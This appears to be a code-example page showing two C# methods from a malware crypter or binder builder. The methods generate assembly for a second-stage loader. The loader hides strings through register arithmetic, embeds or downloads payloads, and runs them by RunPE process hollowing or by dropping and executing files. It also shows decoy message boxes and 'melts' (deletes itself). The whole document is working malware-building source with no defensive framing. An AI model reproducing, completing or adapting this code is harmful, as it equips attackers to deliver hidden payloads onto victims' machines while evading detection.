コード例 #1
0
        /// <summary>
        /// Preprocesses the specified file.
        /// </summary>
        /// <param name="path">The path to the file to preprocess.</param>
        public static void PreprocessFile(string path)
        {
            string[] lines = File.ReadAllLines(path);
            using (AssemblyStream assembly = new AssemblyStream(path))
            {
                assembly.Indent = 4;

                for (int line = 0; line < lines.Length; line++)
                {
                    bool     isInstruction;
                    string   instruction;
                    string[] parameters;

                    try
                    {
                        isInstruction = ParseInstruction(lines[line], out instruction, out parameters);
                    }
                    catch
                    {
                        ParseError();
                    }

                    if (isInstruction)
                    {
                        switch (instruction)
                        {
                        case "lodstra":
                        {
                            if (parameters.Length != 1)
                            {
                                ParseError();
                            }

                            string str     = parameters[0];
                            char   current = 'a';

                            assembly.EmitComment("Load string: " + str);
                            assembly.Emit("mov", "ebx, '" + current + "'");

                            for (int i = 0; i < str.Length; i++)
                            {
                                int offset = str[i] - current;
                                current = str[i];

                                if (offset == 1)
                                {
                                    assembly.Emit("inc", "bl");
                                }
                                else if (offset > 1)
                                {
                                    assembly.Emit("add", "bl, " + offset);
                                }
                                else if (offset == -1)
                                {
                                    assembly.Emit("dec", "bl");
                                }
                                else if (offset < -1)
                                {
                                    assembly.Emit("sub", "bl, " + -offset);
                                }

                                assembly.Emit("mov", "byte[eax + " + i + "], bl ;" + str[i]);
                            }

                            assembly.Emit("mov", "byte[eax + " + str.Length + "], 0");
                        }
                        break;

                        case "lodstrw":
                        {
                            if (parameters.Length != 1)
                            {
                                ParseError();
                            }

                            string str     = parameters[0];
                            char   current = 'a';

                            assembly.EmitComment("Load string: " + str);
                            assembly.Emit("mov", "ebx, '" + current + "'");

                            for (int i = 0; i < str.Length; i++)
                            {
                                int offset = str[i] - current;
                                current = str[i];

                                if (offset == 1)
                                {
                                    assembly.Emit("inc", "bx");
                                }
                                else if (offset > 1)
                                {
                                    assembly.Emit("add", "bx, " + offset);
                                }
                                else if (offset == -1)
                                {
                                    assembly.Emit("dec", "bx");
                                }
                                else if (offset < -1)
                                {
                                    assembly.Emit("sub", "bx, " + -offset);
                                }

                                assembly.Emit("mov", "word[eax + " + i * 2 + "], bx ;" + str[i]);
                            }

                            assembly.Emit("mov", "word[eax + " + str.Length * 2 + "], 0");
                        }
                        break;

                        default:
                            ParseError();
                            break;
                        }
                    }
                    else
                    {
                        assembly.WriteLine(lines[line]);
                    }

                    void ParseError()
                    {
                        throw new ErrorException("Failed to parse preprocessor instruction in '" + Path.GetFileName(path) + "' at line " + (line + 1) + ".");
                    }
                }
            }
        }
コード例 #2
0
        private void CompileStage2()
        {
            try
            {
                // Compile files into EmbeddedSources.inc
                using (AssemblyStream assembly = new AssemblyStream(GetIntermediateSourcePath("EmbeddedSources.inc")))
                {
                    foreach (EmbeddedSource source in Project.Sources.OfType <EmbeddedSource>())
                    {
                        string relativePath = @"Resources\EmbeddedSource-" + source.AssemblyId;
                        string filePath     = GetIntermediateSourcePath(relativePath);
                        long   size         = new FileInfo(source.Path).Length;

                        assembly.EmitComment(Path.GetFileName(source.Path));

                        if (source.Compress)
                        {
                            byte[] compressed = NtCompression.Compress(File.ReadAllBytes(source.Path));
                            if (compressed == null)
                            {
                                throw new ErrorException("Failed to compress '" + Path.GetFileName(source.Path) + "'.");
                            }

                            File.WriteAllBytes(filePath, compressed);

                            int compressionRatio = 100 - (int)(compressed.Length * 100L / size);
                            if (compressionRatio < 10)
                            {
                                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Warning, "Compression ratio for '" + Path.GetFileName(source.Path) + "' is only " + compressionRatio + "%. It is recommended to disable compression.");
                            }

                            assembly.EmitConstant("EmbeddedSource" + source.AssemblyId + "Size", compressed.Length.ToString());
                            assembly.EmitConstant("EmbeddedSource" + source.AssemblyId + "DecompressedSize", size.ToString());
                            assembly.EmitFileData("EmbeddedSource" + source.AssemblyId, relativePath);
                        }
                        else
                        {
                            File.Copy(source.Path, filePath, true);

                            assembly.EmitConstant("EmbeddedSource" + source.AssemblyId + "Size", size.ToString());
                            assembly.EmitFileData("EmbeddedSource" + source.AssemblyId, relativePath);
                        }

                        assembly.WriteLine();
                    }
                }

                // Compile strings into EmbeddedStrings.inc
                using (AssemblyStream assembly = new AssemblyStream(GetIntermediateSourcePath("EmbeddedStrings.inc")))
                {
                    assembly.BinaryDataNameIndent = 20;

                    // Compile download URL's
                    foreach (DownloadSource source in Project.Sources.OfType <DownloadSource>())
                    {
                        assembly.EmitComment(source.Url);
                        assembly.EmitStringData("DownloadUrl" + source.AssemblyId, source.Url);
                    }

                    // Compile drop filenames
                    foreach (DropAction action in Project.Actions.OfType <DropAction>())
                    {
                        assembly.EmitComment(action.FileName);
                        assembly.EmitStringData("DropFileName" + action.AssemblyId, action.FileName);
                    }

                    // Compile MessageBox strings
                    foreach (MessageBoxAction action in Project.Actions.OfType <MessageBoxAction>())
                    {
                        assembly.EmitComment(action.Title);
                        assembly.EmitStringData("MessageBoxTitle" + action.AssemblyId, action.Title);

                        assembly.EmitComment(action.Text);
                        assembly.EmitStringData("MessageBoxText" + action.AssemblyId, action.Text);
                    }
                }

                // Compile main program
                string[] stage2Lines = File.ReadAllLines(GetIntermediateSourcePath("Stage2.asm"));
                using (AssemblyStream assembly = new AssemblyStream(GetIntermediateSourcePath("Stage2.asm")))
                {
                    foreach (string line in stage2Lines)
                    {
                        if (line.Trim() == ";{MAIN}")
                        {
                            assembly.Indent = 4;

                            // Compile actions
                            foreach (ProjectAction action in Project.Actions)
                            {
                                if (action != Project.Actions.First())
                                {
                                    assembly.EmitComment(new string('-', 74));
                                    assembly.WriteLine();
                                }

                                bool deletePayload = false;

                                assembly.EmitLabel("action_" + action.AssemblyId);

                                // Retrieve source
                                if (action.Source is EmbeddedSource embeddedSource)
                                {
                                    if (embeddedSource.Compress)
                                    {
                                        assembly.EmitComment("Decompress embedded file: " + Path.GetFileName(embeddedSource.Path));
                                        assembly.Emit("stdcall", "Decompress, EmbeddedSource" + action.Source.AssemblyId + ", EmbeddedSource" + action.Source.AssemblyId + "Size, EmbeddedSource" + action.Source.AssemblyId + "DecompressedSize");
                                        assembly.Emit("test", "eax, eax");
                                        assembly.Emit("jz", ".action_" + action.AssemblyId + "_end");
                                        assembly.Emit("mov", "[Payload], eax");
                                        assembly.Emit("mov", "[PayloadSize], EmbeddedSource" + action.Source.AssemblyId + "DecompressedSize");
                                        assembly.WriteLine();

                                        deletePayload = true;
                                    }
                                    else
                                    {
                                        assembly.EmitComment("Get embedded file: " + Path.GetFileName(embeddedSource.Path));
                                        assembly.Emit("mov", "[Payload], EmbeddedSource" + action.Source.AssemblyId);
                                        assembly.Emit("mov", "[PayloadSize], EmbeddedSource" + action.Source.AssemblyId + "Size");
                                        assembly.WriteLine();
                                    }
                                }
                                else if (action.Source is DownloadSource downloadSource)
                                {
                                    assembly.EmitComment("Download: " + downloadSource.Url);
                                    assembly.Emit("lea", "eax, [PayloadSize]");
                                    assembly.Emit("stdcall", "Download, DownloadUrl" + action.Source.AssemblyId + ", eax");
                                    assembly.Emit("test", "eax, eax");
                                    assembly.Emit("jz", ".action_" + action.AssemblyId + "_end");
                                    assembly.Emit("mov", "[Payload], eax");
                                    assembly.WriteLine();

                                    deletePayload = true;
                                }
                                else if (action is MessageBoxAction)
                                {
                                }
                                else
                                {
                                    throw new InvalidOperationException();
                                }

                                // Perform action
                                if (action is RunPEAction)
                                {
                                    assembly.EmitComment("RunPE");
                                    assembly.Emit("stdcall", "RunPE, [Payload]");
                                    assembly.WriteLine();
                                }
                                else if (action is DropAction dropAction)
                                {
                                    assembly.EmitComment("Drop " + dropAction.Location.GetDescription() + @"\" + dropAction.FileName + (dropAction.ExecuteVerb == ExecuteVerb.None ? null : " and execute (verb: " + dropAction.ExecuteVerb.GetDescription() + ")"));
                                    assembly.Emit("stdcall", "DropFile, " + (int)dropAction.Location + ", [Payload], [PayloadSize], DropFileName" + action.AssemblyId + ", " + dropAction.GetWin32FileAttributes() + ", " + (int)dropAction.ExecuteVerb);
                                    assembly.Emit("test", "eax, eax");
                                    assembly.Emit("jz", ".action_" + action.AssemblyId + "_end");
                                    assembly.WriteLine();
                                }
                                else if (action is MessageBoxAction messageBoxAction)
                                {
                                    assembly.EmitComment("MessageBox (icon: " + messageBoxAction.Icon.GetDescription() + ", buttons: " + messageBoxAction.Buttons.GetDescription() + ")");
                                    assembly.Emit("pebcall", "PEB_User32Dll, PEB_MessageBoxW, NULL, MessageBoxText" + action.AssemblyId + ", MessageBoxTitle" + action.AssemblyId + ", 0x" + ((int)messageBoxAction.Icon | (int)messageBoxAction.Buttons).ToString("x8"));
                                    assembly.WriteLine();

                                    EmitMessageBoxEvent(messageBoxAction.OnOk, "ok", 1);
                                    EmitMessageBoxEvent(messageBoxAction.OnCancel, "cancel", 2);
                                    EmitMessageBoxEvent(messageBoxAction.OnYes, "yes", 6);
                                    EmitMessageBoxEvent(messageBoxAction.OnNo, "no", 7);
                                    EmitMessageBoxEvent(messageBoxAction.OnAbort, "abort", 3);
                                    EmitMessageBoxEvent(messageBoxAction.OnRetry, "retry", 4);
                                    EmitMessageBoxEvent(messageBoxAction.OnIgnore, "ignore", 5);

                                    void EmitMessageBoxEvent(ActionEvent actionEvent, string eventName, int returnValue)
                                    {
                                        if (actionEvent != ActionEvent.None)
                                        {
                                            assembly.EmitComment("If '" + eventName + "' was clicked, " + Helper.GetCommentForActionEvent(actionEvent));
                                            assembly.Emit("cmp", "eax, " + returnValue);
                                            assembly.Emit("jne", "@f");

                                            switch (actionEvent)
                                            {
                                            case ActionEvent.SkipNextAction:
                                                assembly.Emit("jmp", action == Project.Actions.Last() ? ".ret" : ".action_" + (action.AssemblyId + 1) + "_end");
                                                break;

                                            case ActionEvent.Exit:
                                                assembly.Emit("jmp", ".ret");
                                                break;

                                            default:
                                                throw new InvalidOperationException();
                                            }

                                            assembly.EmitLabel();
                                            assembly.WriteLine();
                                        }
                                    }
                                }
                                else
                                {
                                    throw new InvalidOperationException();
                                }

                                // Delete payload, if additional memory was allocated.
                                if (deletePayload)
                                {
                                    assembly.EmitComment("Delete payload");
                                    assembly.Emit("pebcall", "PEB_Kernel32Dll, PEB_GetProcessHeap");
                                    assembly.Emit("pebcall", "PEB_Kernel32Dll, PEB_HeapFree, eax, 0, [Payload]");
                                }

                                assembly.EmitLabel("action_" + action.AssemblyId + "_end");
                                assembly.WriteLine();
                            }
                        }
                        else if (line.Trim() == ";{MELT}")
                        {
                            assembly.Indent = 4;

                            if (Project.Startup.Melt)
                            {
                                assembly.EmitComment("Melt");
                                assembly.Emit("stdcall", "Melt");
                            }
                        }
                        else
                        {
                            assembly.Indent = 0;
                            assembly.WriteLine(line);
                        }
                    }
                }
            }
            catch (ErrorException ex)
            {
                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, ex.Message, ex.Details);
            }
            catch (Exception ex)
            {
                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, "Unhandled " + ex.GetType() + " while compiling stage2.", ex.GetFullStackTrace());
            }
        }